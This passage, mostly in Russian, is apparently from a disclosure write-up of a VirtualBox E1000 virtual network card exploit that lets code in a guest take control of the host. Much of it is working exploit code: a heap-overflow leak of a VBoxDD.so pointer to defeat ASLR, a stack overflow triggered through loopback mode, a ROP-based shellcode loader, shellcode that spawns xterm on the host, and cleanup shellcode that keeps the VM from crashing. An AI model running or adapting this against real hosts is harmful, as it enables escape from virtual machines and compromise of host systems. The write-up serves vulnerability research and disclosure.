// is sent back to the guest and handled right now via e1kHandleRxPacket.
// When loopback mode is disabled data is sent to a network as usual.
// We disable loopback mode here, at Stage 1, to overflow the heap but not touch the stack buffer
// in e1kHandleRxPacket. Later, at Stage 2 we enable loopback mode to overflow heap and
// the stack buffer.
e1000_disable_loopback_mode(mmio);
uint8_t leaked_bytes[8];
uint32_t i;
for (i = 0; i < 8; i++) {
stage_1_overflow_heap_buffer(mmio, tx_ring, i);
leaked_bytes[i] = stage_1_leak_byte();
printk(KERN_INFO PFX"Byte %d leaked: 0x%02X\n", i, leaked_bytes[i]);
}
uint64_t leaked_vboxdd_ptr = *(uint64_t*)leaked_bytes;
uint64_t vboxdd_base = leaked_vboxdd_ptr - LEAKED_VBOXDD_RVA;
printk(KERN_INFO PFX"Leaked VBoxDD.so pointer: 0x%016llx\n", leaked_vboxdd_ptr);
printk(KERN_INFO PFX"Leaked VBoxDD.so base: 0x%016llx\n", vboxdd_base);
return vboxdd_base;
}
Было сказано, что для того, чтобы целочисленное переполнение (underflow) не приводило к переполнению буфера стека, необходимо настроить определённые регистры E1000. Идея в том, что переполнение буфера происходит в функции e1kHandleRxPacket, которая вызывается при обработке Tx-дескрипторов в режиме loopback. Действительно, в режиме loopback гостевая система отправляет сетевые пакеты сама себе, поэтому они принимаются сразу после отправки. Мы отключаем этот режим, чтобы функция e1kHandleRxPacket была недостижима.
### Обход DEP
Мы обошли ASLR. Теперь можно включить режим loopback и вызвать переполнение буфера стека.```c
void stage_2_overflow_heap_and_stack_buffers(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
off_t buffer_pa;
void* buffer_va;
alloc_buffer(&buffer_pa, &buffer_va);
stage_2_set_up_buffer(buffer_va, vboxdd_base);
stage_2_trigger_overflow(mmio, tx_ring, buffer_pa);
free_buffer(buffer_va);
}
void stage_2_main(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
printk(KERN_INFO PFX"##### Stage 2 #####\n");
e1000_enable_loopback_mode(mmio);
stage_2_overflow_heap_and_stack_buffers(mmio, tx_ring, vboxdd_base);
e1000_disable_loopback_mode(mmio);
}
For now, when the last instruction of e1kHandleRxPacket is executed the saved return address is overwritten and control is transferred anywhere the attacker wants. But DEP is still there. It is bypassed in a classical way of building a ROP chain. ROP gadgets allocate executable memory, copy a shellcode loader into and execute it.
The shellcode loader is trivial. It copies the beginning of the overflowing buffer next to it.```asm use64
start: lea rsi, [rsp - 0x4170]; push rax pop rdi add rdi, loader_size mov rcx, 0x800 rep movsb nop
payload: ; Here the shellcode is to be
loader_size = $ - start
Шеллкод выполняется. Его первая часть:```asm
use64
start:
; sys_fork
mov rax, 58
syscall
test rax, rax
jnz continue_process_execution
; Initialize argv
lea rsi, [cmd]
mov [argv], rsi
; Initialize envp
lea rsi, [env]
mov [envp], rsi
; sys_execve
lea rdi, [cmd]
lea rsi, [argv]
lea rdx, [envp]
mov rax, 59
syscall
...
cmd db '/usr/bin/xterm', 0
env db 'DISPLAY=:0.0', 0
argv dq 0, 0
envp dq 0, 0
Он выполняет fork и execve для создания процесса /usr/bin/xterm. Атакующий получает контроль над ring 3 хост-системы.
Я считаю, что каждый эксплойт должен быть завершённым. Это означает, что он не должен приводить к краху приложения, хотя, конечно, это не всегда возможно. Нам нужно, чтобы виртуальная машина продолжила выполнение, что достигается второй частью шеллкода.```asm continue_process_execution: ; Restore RBP mov rbp, rsp add rbp, 0x48
; Skip junk
add rsp, 0x10
; Restore the registers that must be preserved according to System V ABI
pop rbx
pop r12
pop r13
pop r14
pop r15
; Skip junk
add rsp, 0x8
; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before: "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After: "E1000-Xmit" -> NULL
; Zero out the entire PDMQUEUE "Mouse_1" pointed by "E1000-Rcv"
; This was unnecessary on my testing machines but to be sure...
mov rdi, [rbx]
mov rax, 0x0
mov rcx, 0xA0
rep stosb
; NULL out a pointer to PDMQUEUE "E1000-Rcv" stored in "E1000-Xmit"
; because the first 8 bytes of "E1000-Rcv" (a pointer to "Mouse_1")
; will be corrupted in MMHyperFree
mov qword [rbx], 0x0
; Now the last PDMQUEUE is "E1000-Xmit" which will not be corrupted
ret
Когда вызывается e1kHandleRxPacket, стек вызовов выглядит так:```
#0 e1kHandleRxPacket
#1 e1kTransmitFrame
#2 e1kXmitDesc
#3 e1kXmitPacket
#4 e1kXmitPending
#5 e1kR3NetworkDown_XmitPending
...
Мы сразу перейдём к e1kR3NetworkDown_XmitPending, которая больше ничего не делает и возвращает управление функции гипервизора.```c static DECLCALLBACK(void) e1kR3NetworkDown_XmitPending(PPDMINETWORKDOWN pInterface) { PE1KSTATE pThis = RT_FROM_MEMBER(pInterface, E1KSTATE, INetworkDown); /* Resume suspended transmission */ STATUS &= ~STATUS_TXOFF; e1kXmitPending(pThis, true /fOnWorkerThread/); }
Шеллкод добавляет 0x48 к RBP, чтобы привести его к значению, которое ожидается в e1kR3NetworkDown_XmitPending. Затем регистры RBX, R12, R13, R14, R15 восстанавливаются из стека, поскольку System V ABI требует сохранять их в вызываемой функции. Если этого не сделать, гипервизор упадёт из-за недопустимых указателей в них.
Этого могло бы быть достаточно, поскольку виртуальная машина больше не падает и продолжает выполняться. Но при завершении работы виртуальной машины произойдёт нарушение прав доступа в функции PDMR3QueueDestroyDevice. Причина в том, что при переполнении кучи перезаписывается важная структура PDMQUEUE. Более того, она перезаписывается последними двумя ROP-гаджетами, то есть последними 16 байтами. Я пытался уменьшить размер ROP-цепочки, но безуспешно; однако когда я заменил данные вручную, гипервизор всё равно падал. Это означало, что препятствие не так очевидно, как казалось.
Перезаписываемая структура данных — это связный список. Перезаписываемые данные находятся в предпоследнем элементе списка; перезаписывается указатель next. Решение оказалось простым:```
; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before: "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After: "E1000-Xmit" -> NULL
Избавление от последних двух элементов позволяет виртуальной машине корректно завершить работу.
| Tx Descriptor | Before/After | u16MaxPktLen | pThis->u16TxPktLen | pDesc->data.cmd.u20DTALEN |
|---|
| data_2 | Before | 0x3010 | 0 | 0x10 |
| - | After | 0x3010 | 0x10 | 0 |
| data_3 | Before | 0x3010 | 0x10 | 0 |
| - | After | 0x3010 | 0x10 | 0 |
| data_5 | До | 0xF | 0x10 | 0x4188 |
| - | После | - | - | - |